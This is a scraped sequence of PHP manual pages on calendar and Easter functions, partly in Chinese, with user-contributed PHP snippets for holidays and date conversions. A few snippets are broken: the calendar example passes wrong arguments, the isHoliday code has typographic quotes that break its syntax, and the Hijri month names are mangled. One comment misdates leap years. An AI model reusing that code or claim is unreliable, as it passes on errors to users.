 *    Created by David Scourfield, 07 August 2006, and released into the public domain.
 *    Anybody may use and/or modify this code.
 *
 *    USAGE:
 *
 *    array calculateBankHolidays(int $yr)
 *
 *    ARGUMENTS
 *
 *    $yr = 4 digit numeric representation of the year (eg 1997).
 *
 *    RETURN VALUE
 *
 *    Returns an array of strings where each string is a date of a bank holiday in the format "yyyy-mm-dd".
 *
 *    See example below
 *
 */

function calculateBankHolidays($yr) {

    $bankHols = Array();

    // New year's:
    switch ( date("w", strtotime("$yr-01-01 12:00:00")) ) {
        case 6:
            $bankHols[] = "$yr-01-03";
            break;
        case 0:
            $bankHols[] = "$yr-01-02";
            break;
        default:
            $bankHols[] = "$yr-01-01";
    }

    // Good friday:
    $bankHols[] = date("Y-m-d", strtotime( "+".(easter_days($yr) - 2)." days", strtotime("$yr-03-21 12:00:00") ));

    // Easter Monday:
    $bankHols[] = date("Y-m-d", strtotime( "+".(easter_days($yr) + 1)." days", strtotime("$yr-03-21 12:00:00") ));

    // May Day:
    if ($yr == 1995) {
        $bankHols[] = "1995-05-08"; // VE day 50th anniversary year exception
    } else {
        switch (date("w", strtotime("$yr-05-01 12:00:00"))) {
            case 0:
                $bankHols[] = "$yr-05-02";
                break;
            case 1:
                $bankHols[] = "$yr-05-01";
                break;
            case 2:
                $bankHols[] = "$yr-05-07";
                break;
            case 3:
                $bankHols[] = "$yr-05-06";
                break;
            case 4:
                $bankHols[] = "$yr-05-05";
                break;
            case 5:
                $bankHols[] = "$yr-05-04";
                break;
            case 6:
                $bankHols[] = "$yr-05-03";
                break;
        }
    }

    // Whitsun:
    if ($yr == 2002) { // exception year
        $bankHols[] = "2002-06-03";
        $bankHols[] = "2002-06-04";
    } else {
        switch (date("w", strtotime("$yr-05-31 12:00:00"))) {
            case 0:
                $bankHols[] = "$yr-05-25";
                break;
            case 1:
                $bankHols[] = "$yr-05-31";
                break;
            case 2:
                $bankHols[] = "$yr-05-30";
                break;
            case 3:
                $bankHols[] = "$yr-05-29";
                break;
            case 4:
                $bankHols[] = "$yr-05-28";
                break;
            case 5:
                $bankHols[] = "$yr-05-27";
                break;
            case 6:
                $bankHols[] = "$yr-05-26";
                break;
        }
    }

    // Summer Bank Holiday:
    switch (date("w", strtotime("$yr-08-31 12:00:00"))) {
        case 0:
            $bankHols[] = "$yr-08-25";
            break;
        case 1:
            $bankHols[] = "$yr-08-31";
            break;
        case 2:
            $bankHols[] = "$yr-08-30";
            break;
        case 3:
            $bankHols[] = "$yr-08-29";
            break;
        case 4:
            $bankHols[] = "$yr-08-28";
            break;
        case 5:
            $bankHols[] = "$yr-08-27";
            break;
        case 6:
            $bankHols[] = "$yr-08-26";
            break;
    }

    // Christmas:
    switch ( date("w", strtotime("$yr-12-25 12:00:00")) ) {
        case 5:
            $bankHols[] = "$yr-12-25";
            $bankHols[] = "$yr-12-28";
            break;
        case 6:
            $bankHols[] = "$yr-12-27";
            $bankHols[] = "$yr-12-28";
            break;
        case 0:
            $bankHols[] = "$yr-12-26";
            $bankHols[] = "$yr-12-27";
            break;
        default:
            $bankHols[] = "$yr-12-25";
            $bankHols[] = "$yr-12-26";
    }

    // Millenium eve
    if ($yr == 1999) {
        $bankHols[] = "1999-12-31";
    }

    return $bankHols;

}

/*
 *    EXAMPLE:
 *
 */

header("Content-type: text/plain");

$bankHolsThisYear = calculateBankHolidays(2007);

print_r($bankHolsThisYear);

?>

Will output this result:

Array
(
    [0] => 2007-01-01
    [1] => 2007-04-06
    [2] => 2007-04-09
    [3] => 2007-05-07
    [4] => 2007-05-28
    [5] => 2007-08-27
    [6] => 2007-12-25
    [7] => 2007-12-26
)
amichauer at gmx dot de 27-Jun-2005 09:46
<?php

class HijriCalendar
{
    function monthName($i) // $i = 1..12
    {
        static $month  = array(
            "M?x?rr?m", "Safar", "Rabig-?l-?ww?l", "Rabig-?l-Ax?r",
            "C?m?d-?l-?ww?l", "C?m?d-?l-Ax?r", "Rac?b", "???b?n",
            "Ramazan", "??w?l", "Z?-?l-Q??d?", "Z?-?l-Xicc?"
        );
        return $month[$i-1];
    }

    function GregorianToHijri($time = null)
    {
        if ($time === null) $time = time();
        $m = date('m', $time);
        $d = date('d', $time);
        $y = date('Y', $time);

        return HijriCalendar::JDToHijri(
            cal_to_jd(CAL_GREGORIAN, $m, $d, $y));
    }

    function HijriToGregorian($m, $d, $y)
    {
        return jd_to_cal(CAL_GREGORIAN,
            HijriCalendar::HijriToJD($m, $d, $y));
    }

    # Julian Day Count To Hijri
    function JDToHijri($jd)
    {
        $jd = $jd - 1948440 + 10632;
        $n  = (int)(($jd - 1) / 10631);
        $jd = $jd - 10631 * $n + 354;
        $j  = ((int)((10985 - $jd) / 5316)) *
            ((int)(50 * $jd / 17719)) +
            ((int)($jd / 5670)) *
            ((int)(43 * $jd / 15238));
        $jd = $jd - ((int)((30 - $j) / 15)) *
            ((int)((17719 * $j) / 50)) -
            ((int)($j / 16)) *
            ((int)((15238 * $j) / 43)) + 29;
        $m  = (int)(24 * $jd / 709);
        $d  = $jd - (int)(709 * $m / 24);
        $y  = 30*$n + $j - 30;

        return array($m, $d, $y);
    }

    # Hijri To Julian Day Count
    function HijriToJD($m, $d, $y)
    {
        return (int)((11 * $y + 3) / 30) +
            354 * $y + 30 * $m -
            (int)(($m - 1) / 2) + $d + 1948440 - 385;
    }
};

$hijri = HijriCalendar::GregorianToHijri( time() );
echo $hijri[1].'. '.HijriCalendar::monthName($hijri[0]).' '.$hijri[2];

?>
jthome at fcgov dot com 02-Oct-2003 11:38
Had a similar problem as curlee, except I needed to create a JDE_ERP date.  [format is CYYDDD]

<?php

function jde_date_create($month, $day, $year){
    /*
    *  NOTE: $month and $day CANNOT have leading zeroes,
    *        $year must be'YYYY' format
    */
    $jde_year_prefix = substr($year, 0, 1) - 1;
    $jde_year_suffix = substr($year, -2);

    //note that valid years for mktime are 1902-2037
    $timestamp = mktime(0,0,0,$month, $day, $year);
    $baseline_timestamp = mktime(0,0,0,1,0,$year);

    $day_count = round(($timestamp - $baseline_timestamp)/86400);
    $day_count_padded = str_pad($day_count,3,"0",STR_PAD_LEFT);

    return ($jde_year_prefix . $jde_year_suffix . $day_count_padded);

}

echo jde_date_create(6,25,2000);// will return '103176'

?>

--
Jim
curlee at mindspring dot com 29-Aug-2003 08:55
I solved a problem with Julian dates that are used in the JD Edwards ERP package (running on AS/400).  The Julian format for this system is as follows:  CYYDDD

Where C is 0 for 1900 and 1 for 2000
DDD is the day of the year count

I used the mktime built-in php function to convert dates to the normal DD/MM/YYYY format.  This function will convert dates that are between 1970 and 2038 (limitation of unix timestamps and the mktime function)

The $jde_date var needs to be a 6 len STRING.... if you use a numeric var type it will drop the leading 0 for any date that represents 1900.... this will botch the substr functions and thus make the whole thing wrong.

<?php
function jde_date_conv($jde_date)
{

$ct = substr($jde_date,0,1);
$yr = substr($jde_date,1,2);
$dy = substr($jde_date,3,3);

if($ct == 0) $yr_pfx = 19;
if($ct == 1) $yr_pfx = 20;

$tlt_yr = $yr_pfx.$yr;

$base_time = mktime(0,0,0,1,0,$tlt_yr);

$unix_time = ($dy * 86400) + $base_time;

return date("m/d/Y" , $unix_time);
}
?>


返回指定历法中某年某月的天数

  • ? Calendar 函数
  • cal_from_jd ?
  • PHP Manual
  • Calendar 函数
  • 返回指定历法中某年某月的天数

cal_days_in_month

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cal_days_in_month — 返回指定历法中某年某月的天数

说明

cal_days_in_month(int $calendar, int $month, int $year): int

此函数返回指定 calendar 中的某 year 中的某 month 的天数。

参数

calendar

用来计算的历法

month

指定历法中的某月

year

指定历法中的某年

返回值

指定历法中所选月份的天数

示例

Example #1 cal_days_in_month() 示例

<?php
$number = cal_days_in_month(CAL_GREGORIAN, 8, 2003); // 31
echo "There were {$number} days in August 2003";
?>

User Contributed Notes

datlx at yahoo dot com 31-Aug-2022 03:59
function lastDayOfMonth(string $time, int $deltaMonth, string $format = 'Y-m-d')
{
    try {
        $year = date('Y', strtotime($time));
        $month = date('m', strtotime($time));

        $increaYear = floor(($deltaMonth + $month - 1) / 12);

        $year += $increaYear;
        $month = (($deltaMonth + $month) % 12) ?: 12;
        $day = cal_days_in_month(CAL_GREGORIAN, $month, $year);

        return $time . ' + ' . $deltaMonth . ' => ' . date($format, strtotime($year . '-' . $month . '-' . $day)) . "\n";
    } catch (Exception $e) {
        throw $e;
    }
}
brian at b5media dot com 04-Dec-2007 04:55
Remember if you just want the days in the current month, use the date function:
$days = date("t");
geko45pj at yahoo dot com 18-Jul-2007 11:28
<?php
# PHP Calendar (version 2.3), written by Keith Devens

function generate_calendar($year, $month, $days = array(), $day_name_length = 3, $month_href = NULL, $first_day = 0, $pn = array()){
    $first_of_month = gmmktime(0,0,0,$month,1,$year);

    #remember that mktime will automatically correct if invalid dates are entered
    # for instance, mktime(0,0,0,12,32,1997) will be the date for Jan 1, 1998
    # this provides a built in "rounding" feature to generate_calendar()

    $day_names = array(); #generate all the day names according to the current locale
    for($n=0,$t=(3+$first_day)*86400; $n<7; $n++,$t+=86400) #January 4, 1970 was a Sunday
        $day_names[$n] = ucfirst(gmstrftime('%A',$t)); #%A means full textual day name

    list($month, $year, $month_name, $weekday) = explode(',',gmstrftime('%m,%Y,%B,%w',$first_of_month));
    $weekday = ($weekday + 7 - $first_day) % 7; #adjust for $first_day
    $title   = htmlentities(ucfirst($month_name)).'&nbsp;'.$year;  #note that some locales don't capitalize month and day names

    #Begin calendar. Uses a real <caption>. See http://diveintomark.org/archives/2002/07/03
    @list($p, $pl) = each($pn); @list($n, $nl) = each($pn); #previous and next links, if applicable
    if($p) $p = '<span class="calendar-prev">'.($pl ? '<a href="'.htmlspecialchars($pl).'">'.$p.'</a>' : $p).'</span>&nbsp;';
    if($n) $n = '&nbsp;<span class="calendar-next">'.($nl ? '<a href="'.htmlspecialchars($nl).'">'.$n.'</a>' : $n).'</span>';
    $calendar = '<table class="calendar">'."\n".
        '<caption class="calendar-month">'.$p.($month_href ? '<a href="'.htmlspecialchars($month_href).'">'.$title.'</a>' : $title).$n."</caption>\n<tr>";

    if($day_name_length){ #if the day names should be shown ($day_name_length > 0)
        #if day_name_length is >3, the full name of the day will be printed
        foreach($day_names as $d)
            $calendar .= '<th abbr="'.htmlentities($d).'">'.htmlentities($day_name_length < 4 ? substr($d,0,$day_name_length) : $d).'</th>';
        $calendar .= "</tr>\n<tr>";
    }

    if($weekday > 0) $calendar .= '<td colspan="'.$weekday.'">&nbsp;</td>'; #initial 'empty' days
    for($day=1,$days_in_month=gmdate('t',$first_of_month); $day<=$days_in_month; $day++,$weekday++){
        if($weekday == 7){
            $weekday   = 0; #start a new week
            $calendar .= "</tr>\n<tr>";
        }
        if(isset($days[$day]) and is_array($days[$day])){
            @list($link, $classes, $content) = $days[$day];
            if(is_null($content))  $content  = $day;
            $calendar .= '<td'.($classes ? ' class="'.htmlspecialchars($classes).'">' : '>').
                ($link ? '<a href="'.htmlspecialchars($link).'">'.$content.'</a>' : $content).'</td>';
        }
        else $calendar .= "<td>$day</td>";
    }
    if($weekday != 7) $calendar .= '<td colspan="'.(7-$weekday).'">&nbsp;</td>'; #remaining "empty" days

    return $calendar."</tr>\n</table>\n";
}
echo generate_calendar(2010, 12, 16,3,NULL,0,15, $first_of_month, $day_names, $day_names[$n]);
#echo generate_calendar($year, $month, $days,$day_name_length,$month_href,$first_day,$pn);
?>
jeffbeall at comcast dot net 14-Apr-2004 10:04
This will work great in future dates but will give the wrong answer for dates before 1550 (approx) when leap year was introduced and the calendar lost a year or two.
Sorry now to be more specific it has been a while sine I had to account for those later dates and had to take that into account but just a heads up for others to watch out.
dbindel at austin dot rr dot com 01-Jan-2004 09:06
Here's a one-line function I just wrote to find the numbers of days in a month that doesn't depend on any other functions.

The reason I made this is because I just found out I forgot to compile PHP with support for calendars, and a class I'm writing for my website's open source section was broken. So rather than recompiling PHP (which I will get around to tomorrow I guess), I just wrote this function which should work just as well, and will always work without the requirement of PHP's calendar extension or any other PHP functions for that matter.

I learned the days of the month using the old knuckle & inbetween knuckle method, so that should explain the mod 7 part. :)

<?php
/*
 * days_in_month($month, $year)
 * Returns the number of days in a given month and year, taking into account leap years.
 *
 * $month: numeric month (integers 1-12)
 * $year: numeric year (any integer)
 *
 * Prec: $month is an integer between 1 and 12, inclusive, and $year is an integer.
 * Post: none
 */
// corrected by ben at sparkyb dot net
function days_in_month($month, $year)
{
// calculate number of days in a month
return $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);
}
?>

Enjoy,
David Bindel


从儒略日数转换为支持的历法

  • ? cal_days_in_month
  • cal_info ?
  • PHP Manual
  • Calendar 函数
  • 从儒略日数转换为支持的历法

cal_from_jd

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cal_from_jd — 从儒略日数转换为支持的历法

说明

cal_from_jd(int $julian_day, int $calendar): array

cal_from_jd() 根据 julian_day 指定的儒略日 转换为指定 calendar 中的日期。calendar 支持的值有 CAL_GREGORIAN、CAL_JULIAN、CAL_JEWISH 和 CAL_FRENCH。

参数

julian_day

int 类型的儒略日

calendar

要转换为的历法

返回值

返回包含的历法信息的数组，例如月、日、年、星期几（dow ）、星期和月份的缩写和全称、日期的 string 形式是"月/日/年"。 星期几的范围是从 0 （星期天）到 6（星期六）。

示例

Example #1 cal_from_jd() 示例

<?php
$today = unixtojd(mktime(0, 0, 0, 8, 16, 2003));
print_r(cal_from_jd($today, CAL_GREGORIAN));
?>

以上示例会输出：

Array
(
    [date] => 8/16/2003
    [month] => 8
    [day] => 16
    [year] => 2003
    [dow] => 6
    [abbrevdayname] => Sat
    [dayname] => Saturday
    [abbrevmonth] => Aug
    [monthname] => August
)

参见

  • cal_to_jd() - 从支持的历法转换为儒略日数
  • jdtofrench() - 从儒略日数转换为法国共和历
  • jdtogregorian() - 将儒略日数转换为公历日期
  • jdtojewish() - 将儒略日数转换为犹太历日期
  • jdtojulian() - 将儒略日数转换为儒略历日期
  • jdtounix() - 将儒略日数转换为 Unix 时间戳

User Contributed Notes

There are no user contributed notes for this page.


返回选定历法的信息

  • ? cal_from_jd
  • cal_to_jd ?
  • PHP Manual
  • Calendar 函数
  • 返回选定历法的信息

cal_info

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cal_info — 返回选定历法的信息

说明

cal_info(int $calendar = -1): array

cal_info() 返回选定 calendar 的信息。

以数组的形式返回历法信息，包含的元素有 calname（历法名称）、calsymbol（历法代码）、month （月份）、abbrevmonth（月份的缩写）和 maxdaysinmonth（单月的最多天数）。calendar 参数可以使用下列值指定不同历法的名称：

  • 0 或者 CAL_GREGORIAN - 公历
  • 1 或者 CAL_JULIAN - 儒略历
  • 2 或者 CAL_JEWISH - 犹太历
  • 3 或者 CAL_FRENCH - 法国共和历

如果没有指定参数 calendar，所支持的所有历法将以数组形式返回。

参数

calendar

返回指定历法的信息，如果没有指定，将返回所有历法信息。

返回值

示例

Example #1 cal_info() 示例

<?php
$info = cal_info(0);
print_r($info);
?>

以上示例会输出：

Array
(
    [months] => Array
        (
            [1] => January
            [2] => February
            [3] => March
            [4] => April
            [5] => May
            [6] => June
            [7] => July
            [8] => August
            [9] => September
            [10] => October
            [11] => November
            [12] => December
        )

    [abbrevmonths] => Array
        (
            [1] => Jan
            [2] => Feb
            [3] => Mar
            [4] => Apr
            [5] => May
            [6] => Jun
            [7] => Jul
            [8] => Aug
            [9] => Sep
            [10] => Oct
            [11] => Nov
            [12] => Dec
        )

    [maxdaysinmonth] => 31
    [calname] => Gregorian
    [calsymbol] => CAL_GREGORIAN
)

User Contributed Notes

There are no user contributed notes for this page.


从支持的历法转换为儒略日数

  • ? cal_info
  • easter_date ?
  • PHP Manual
  • Calendar 函数
  • 从支持的历法转换为儒略日数

cal_to_jd

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cal_to_jd — 从支持的历法转换为儒略日数

说明

cal_to_jd(
int $calendar,
int $month,
int $day,
int $year
): int

cal_to_jd() 计算指定 calendar 中某个日期的儒略日数。支持的历法有 CAL_GREGORIAN、CAL_JULIAN、CAL_JEWISH 和 CAL_FRENCH。

参数

calendar

要转换的历法，可以是 CAL_GREGORIAN、CAL_JULIAN、CAL_JEWISH、CAL_FRENCH 中的一个。

month

数字类型的月份，根据 calendar 来确定有效范围。

day

数字类型的日期，根据选定的 calendar 来确定有效范围。

year

数字类型的年份，根据选定的 calendar 来确定有效范围。

返回值

儒略日数。

参见

  • cal_from_jd() - 从儒略日数转换为支持的历法
  • frenchtojd() - 从法国共和历日期转换为儒略日数
  • gregoriantojd() - 将公历日期转为儒略日数
  • jewishtojd() - 将犹太历日期转换为儒略日数
  • juliantojd() - 儒略日期转为儒略日数
  • unixtojd() - 将 Unix 时间戳转换为儒略日数

User Contributed Notes

ashton at ieee dot org 18-Sep-2016 07:48
The earliest supported date in the Julian calendar is January 2, 4713 BC. The corresponding Julian day count is 1. PHP treats -4713 as equal to 4713 BC, and does not allow the year 0; this practice is different than the custom of astronomers, who treat -4712 as equal to 4713 BC.
ashton at ieee dot org 18-Sep-2016 07:46
Julian days begin at noon, while the days of the Gregorian and Julian calendars are usually thought of as beginning at midnight. For the Gregorian and Julian calendars, the function behaves as if the conversion were performed at noon.


得到指定年份的复活节午夜时的 Unix 时间戳

  • ? cal_to_jd
  • easter_days ?
  • PHP Manual
  • Calendar 函数
  • 得到指定年份的复活节午夜时的 Unix 时间戳

easter_date

(PHP 4, PHP 5, PHP 7, PHP 8)

easter_date — 得到指定年份的复活节午夜时的 Unix 时间戳

说明

easter_date(?int $year = null, int $mode = CAL_EASTER_DEFAULT): int

返回指定年份的复活节午夜时的 Unix 时间戳。

复活节的日期是由尼西亚议会在公元 325 年确定的为每年春分月圆后的第一个星期日。春分一般是在 3 月 21 日，这就简化为只要计算满月的日期和紧挨的星期日的日期。这里所用的算法是在 532 年由 Dionysius Exiguus 引入。在 1753 年以前用儒略历计算，一个简单的 19 年周期用于追踪月相。在 1753 年之后公历（由 Clavius 和 Lilius 设计，1582 年 10 月由教皇 Gregory 十三世引入，并于 1752 年 9 月进入英国及其当时的殖民地）添加了两个校正因子以使周期更准确。

参数

year

对于 32 位系统，年份必须是 1970 至 2037 之间的数字，对于 64 位系统，年份必须是 1970 到 2,000,000,000 之间的数字。如果省略或者为 null，则根据本地时间默认为当前年份。

mode

当设置为 CAL_EASTER_ALWAYS_JULIAN 时，允许基于儒略历计算复活节时间。参见 calendar 常量。

返回值

复活节日期的 Unix 时间戳。

错误／异常

如果年份早于 1970，或者晚于 32 位系统的 2037 以及 64 位系统上的 2,000,000,000 时会抛出 ValueError。

更新日志

版本 | 说明
8.3.0 | 在 64 位系统上，year 参数现在接受范围在 1970 到 2,000,000,000 的值。
8.0.0 | year 现在可为空（nullable）。
8.0.0 | 当 year 超出允许的范围现在抛出 ValueError。之前函数会返回 false 会触发 E_WARNING。

示例

Example #1 easter_date() 示例

<?php

echo date("M-d-Y", easter_date(1999)); // Apr-04-1999
echo date("M-d-Y", easter_date(2000)); // Apr-23-2000
echo date("M-d-Y", easter_date(2001)); // Apr-15-2001

?>

Example #2 使用带 DateTime 的 easter_date()

<?php

$timestamp = easter_date(2023);

$datetime = new \DateTime();
$datetime->setTimestamp($timestamp);

echo $datetime->format('M-d-Y'); // Apr-09-2023

?>

注释

Note:

easter_date() 依赖于系统的 C 库 time 函数，而不是使用 PHP 内置的 date 和 time 函数。因此 easter_date() 使用 TZ 环境变量来确定应该运行的时区，而不是使用 PHP 默认时区 ，此函数与 PHP 其他 date 函数一起使用时会出现意外行为。

有一种解决方案，可以使用带 DateTime 和 DateInterval 的 easter_days() 来计算 PHP 时区中的复活节开始时间，如下所示：

<?php
function get_easter_datetime($year) {
$base = new DateTime("$year-03-21");
$days = easter_days($year);

return $base->add(new DateInterval("P{$days}D"));
}

foreach (range(2012, 2015) as $year) {
printf("Easter in %d is on %s\n",
$year,
get_easter_datetime($year)->format('F j'));
}
?>

以上示例会输出：

Easter in 2012 is on April 8
Easter in 2013 is on March 31
Easter in 2014 is on April 20
Easter in 2015 is on April 5

参见

  • easter_days() - 得到指定年份的 3 月 21 日到复活节之间的天数 用于计算 1970 年之前或 2037 年之后的复活节。

User Contributed Notes

Alexander Bliznyuk 23-Aug-2017 10:02
Thank you, @Maxie, for algorythm for computing Orthodox Easter date.
It can be improved though. You added 13 days in order to map Julian calendar to Gregorian.  But 13 days is not a constant. It's an accumulated error fixed in Gregorian and should be calculated with this formula: (int)($year / 100) - (int)($year / 400) - 2
adwil at live dot com 10-Apr-2014 03:01
Hey, recently I needed a function to get realization dates in online shop, so here it is (ready to go for polish users, please adjust your dates for any other country):

<?php
function getWorkday($date1,$workDays) {
        $workDays = (int)$workDays;
        if ($workDays <= 0)
            return null;

        $date1=strtotime('-1 day',strtotime($date1));

        $lastYear = null;
        $hol=array('01-01','01-06','05-01','05-03','08-15','11-01','11-11','12-25','12-26');  //array of month-date of static holidays (these are from Poland)
        $i = 0;
        while ($i<=$workDays) {
            $year = date('Y', $date1);
            if ($year !== $lastYear){
                $lastYear = $year;
                $easter = date('m-d', easter_date($year));
                $date = strtotime($year . '-' . $easter); // easter
                $easterSec = date('m-d', strtotime('+1 day', $date)); // easter monday
                $greens = date('m-d', strtotime('+49 days', $date)); // zielone swiatki
                $cc = date('m-d', strtotime('+60 days', $date)); // boze cialo
                $hol[] = $easter;
                $hol[] = $easterSec;
                $hol[] = $greens;
                $hol[] = $cc;
            }
            $weekDay=date('w',$date1);
            if (!($weekDay==0 || $weekDay==6 || in_array(date('m-d',$date1),$hol)))
                $i++;

            $date1=strtotime('+1 day',$date1);
        }
        return date('Y-m-d',$date1);
    }
?>
Guillaume Dufrene 30-Mar-2013 08:13
I found a problem with holidays timestamp computation and daylight saving time.
An article about it at http://goo.gl/76t31 (in french only, sorry).

In summary, this year (2013) easter begins before adding an hour for daylight saving time (occured sunday at 3:00). It means that if you do $easter + X, where x is a number of seconds equivalent to one day, 39 days or 50 days, the result is not equals to a midnight timestamp...

Here a function to check if a midnight timestamp is equals to an holiday :

function isHoliday( $ts ) {
// Licence : Creative Commons (BY)
// By Webpulser - http://goo.gl/76t31
  $fixed_holidays = array( '01-01′, '01-05′, '08-05′, '14-07′, '15-08′, '11-11′, '25-12′ );
  $format = 'd-m';

 $dm = date($format, $ts);
  if ( in_array($dm, $fixed_holidays) ) return true;

 $easter = easter_date( date('Y', $ts) );
  if ( date($format, $easter +   86400) == $dm ) return true;
  if ( date($format, $easter + 3369600) == $dm ) return true;
  if ( date($format, $easter + 4320000) == $dm ) return true;

 return false;
}

feel free to use / modify.
py dot lebecq at gmail dot com 11-Mar-2010 07:44
I recently had to write a function that allows me to know if today is a holiday.

And in France, we have some holidays which depends on the easter date. Maybe this will be helpful to someone.

Just modify in the $holidays array the actual holidays dates of your country.

<?php
/**
 * This function returns an array of timestamp corresponding to french holidays
 */
protected static function getHolidays($year = null)
{
  if ($year === null)
  {
    $year = intval(date('Y'));
  }

  $easterDate  = easter_date($year);
  $easterDay   = date('j', $easterDate);
  $easterMonth = date('n', $easterDate);
  $easterYear   = date('Y', $easterDate);

  $holidays = array(
    // These days have a fixed date
    mktime(0, 0, 0, 1,  1,  $year),  // 1er janvier
    mktime(0, 0, 0, 5,  1,  $year),  // Fête du travail
    mktime(0, 0, 0, 5,  8,  $year),  // Victoire des alliés
    mktime(0, 0, 0, 7,  14, $year),  // Fête nationale
    mktime(0, 0, 0, 8,  15, $year),  // Assomption
    mktime(0, 0, 0, 11, 1,  $year),  // Toussaint
    mktime(0, 0, 0, 11, 11, $year),  // Armistice
    mktime(0, 0, 0, 12, 25, $year),  // Noel

    // These days have a date depending on easter
    mktime(0, 0, 0, $easterMonth, $easterDay + 2,  $easterYear),
    mktime(0, 0, 0, $easterMonth, $easterDay + 40, $easterYear),
    mktime(0, 0, 0, $easterMonth, $easterDay + 50, $easterYear),
  );

  sort($holidays);

  return $holidays;
}
?>
maxie 12-Jun-2008 01:36
To compute the correct Easter date for Eastern Orthodox Churches I made a function based on the Meeus Julian algorithm:

<?php
function orthodox_eastern($year) {
    $a = $year % 4;
    $b = $year % 7;
    $c = $year % 19;
    $d = (19 * $c + 15) % 30;
    $e = (2 * $a + 4 * $b - $d + 34) % 7;
    $month = floor(($d + $e + 114) / 31);
    $day = (($d + $e + 114) % 31) + 1;

    $de = mktime(0, 0, 0, $month, $day + 13, $year);

    return $de;
}
?>
phpuser 08-Nov-2004 08:17
The algorithm from Bigtree is correct if you add some (int) cast
<?php
   function easter_date ($Year) {

       /*
       G is the Golden Number-1
       H is 23-Epact (modulo 30)
       I is the number of days from 21 March to the Paschal full moon
       J is the weekday for the Paschal full moon (0=Sunday,
         1=Monday, etc.)
       L is the number of days from 21 March to the Sunday on or before
         the Paschal full moon (a number between -6 and 28)
       */

         $G = $Year % 19;
         $C = (int)($Year / 100);
         $H = (int)($C - (int)($C / 4) - (int)((8*$C+13) / 25) + 19*$G + 15) % 30;
         $I = (int)$H - (int)($H / 28)*(1 - (int)($H / 28)*(int)(29 / ($H + 1))*((int)(21 - $G) / 11));
         $J = ($Year + (int)($Year/4) + $I + 2 - $C + (int)($C/4)) % 7;
         $L = $I - $J;
         $m = 3 + (int)(($L + 40) / 44);
         $d = $L + 28 - 31 * ((int)($m / 4));
         $y = $Year;
         $E = mktime(0,0,0, $m, $d, $y);

         return $E;

   }
?>


得到指定年份的 3 月 21 日到复活节之间的天数

  • ? easter_date
  • frenchtojd ?
  • PHP Manual
  • Calendar 函数
  • 得到指定年份的 3 月 21 日到复活节之间的天数

easter_days

(PHP 4, PHP 5, PHP 7, PHP 8)

easter_days — 得到指定年份的 3 月 21 日到复活节之间的天数

说明

easter_days(?int $year = null, int $mode = CAL_EASTER_DEFAULT): int

返回指定年份的 3 月 21 日到复活节之间的天数，如果没有指定年份，默认是当年。

此函数可以用来代替 easter_date() 来计算超出 Unix 时间戳范围（比如 1970 年以前或 2037 年以后）的年份的复活节日期。

复活节的日期是由尼西亚议会在公元 325 年确定的为每年春分月圆后的第一个星期日。春分一般是在 3 月 21 日，这就简化为只要计算满月的日期和紧挨的星期日的日期。这里所用的算法是在 532 年由 Dionysius Exiguus 引入。在 1753 年以前用儒略历计算，一个简单的 19 年周期用于追踪月相。在 1753 年之后公历（由 Clavius 和 Lilius 设计，1582 年 10 月由教皇 Gregory 十三世引入，并于 1752 年 9 月进入英国及其当时的殖民地）添加了两个校正因子以使周期更准确。

参数

year

年份为正整数。如果省略或为 null, 默认为本地时间的当前年份。

mode

当设置为 CAL_EASTER_ROMAN 时，允许用公历来计算 1582 年至 1752 年之间的复活节日期。更多有效常量参考 calendar 常量。

返回值

根据指定参数 year 而返回 3 月 21 日至复活节的天数。

更新日志

版本 | 说明
8.0.0 | year 现在可为空（nullable）。

示例

Example #1 easter_days() 示例

<?php

echo easter_days(1999); // 14, i.e. April 4
echo easter_days(1492); // 32, i.e. April 22
echo easter_days(1913); // 2, i.e. March 23

?>

参见

  • easter_date() - 得到指定年份的复活节午夜时的 Unix 时间戳

User Contributed Notes

p dot rijt at caesar dot nl 01-Jun-2015 03:20
This function returns an array of timestamp corresponding to Dutch National holidays. Liberation Day (Bevrijdingsdag) is added as a National holiday once every five years (2000, 2005, 2010, ...).

<?php
function getHolidays($year = null) {
    if ($year === null) {
        $year = intval(date('Y'));
    }

    $easterDate  = easter_date($year);
    $easterDay   = date('j', $easterDate);
    $easterMonth = date('n', $easterDate);
    $easterYear   = date('Y', $easterDate);

    $holidays = array(
        // Nieuwjaarsdag
        mktime(0, 0, 0, 1,  1,  $year),
        // 1e Kerstdag
        mktime(0, 0, 0, 12, 25, $year),
        // 2e Kerstdag
        mktime(0, 0, 0, 12, 26, $year)
    );

    // Bevrijdingsdag
    if (($year % 5) == 0) {
        $holidays[] = mktime(0, 0, 0, 5, 5, $year);
    }

    // Koninginnedag (< 2014) of Koningsdag (>= 2014).
    // Verplaats naar zaterdag als het valt op zondag.
    if ($year <= 2013) { // Koninginnedag <= 2013
        if (date('w', mktime(0, 0, 0, 4, 30, $year)) == 0) { // Op zondag?
            $holidays[] = mktime(0, 0, 0, 4, 29, $year);  // Verplaats naar zaterdag
        } else {
            $holidays[] = mktime(0, 0, 0, 4, 30, $year);  // Koninginnedag
        }
    } else { // Koningsdag > 2014
        if (date('w', mktime(0, 0, 0, 4, 27, $year)) == 0) { // Op zondag?
            $holidays[] = mktime(0, 0, 0, 4, 26, $year);  // Verplaats naar zaterdag
        } else {
            $holidays[] = mktime(0, 0, 0, 4, 27, $year);  // Koningsdag
        }
    }

    // Onderstaande dagen hebben een datum afhankelijk van Pasen
    // Goede Vrijdag (= pasen - 2)
    $holidays[] = strtotime('-2 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));
    // 1e Paasdag
    $holidays[] = mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear);
    // 2e Paasdag (= pasen +1)
    $holidays[] = strtotime('+1 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));
    // Hemelvaartsdag (= pasen + 39)
    $holidays[] = strtotime('+39 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));
    // 1e Pinksterdag (= pasen + 49)
    $holidays[] = strtotime('+49 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));
    // 2e Pinksterdag (= pasen + 50)
    $holidays[] = strtotime('+50 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));

    sort($holidays);

    return $holidays;
}

$holidays = getHolidays(2014);

foreach ($holidays as $holiday) {
